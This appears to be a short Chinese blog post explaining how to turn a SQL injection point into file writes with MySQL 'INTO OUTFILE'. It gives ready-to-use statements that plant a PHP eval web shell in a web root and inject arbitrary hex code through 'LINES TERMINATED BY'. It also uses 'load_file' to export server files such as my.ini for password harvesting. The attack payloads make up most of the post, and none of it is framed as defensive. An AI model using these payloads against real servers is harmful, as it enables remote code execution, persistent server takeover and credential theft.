SQL注入file导入常用手段
在注入过程中,如果存在注入点,可以直接导入一句话或者上传页面。过程中我们主要是利用into outfile函数进行上传。此处介绍两种关于into outfile利用的方式。
第一种直接将select内容导入到文件中:
Select version() into outfile “c:\\phpnow\\htdocs\\test.php”
此处将version()替换成一句话,<?php @eval($_post[“mima”])?>也即
Select '<?php @eval($_post[“mima”])?>' into outfile “c:\\phpnow\\htdocs\\test.php”
直接连接一句话就可以了,其实在select内容中不仅仅是可以上传一句话的,也可以上传很多的内容。
第二种修改文件结尾:
Into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16进制文件
解释:通常是用‘\r\n’结尾,此处我们修改为自己想要的任何文件。
16进制可以为一句话或者其他任何的代码,可自行构造。在sqlmap中os-shell采取的就是这样的方式,可以参考以前写过的一篇文章os-shell解析。
Ps:(1)可能在文件路径当中要注意转义,这个要看具体的环境
(2)select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini’)into outfile ‘c:\\wamp\\www\\test.php’可以利用该语句将服务器当中的内容导出来,上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出来,这个要看自己的理解。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通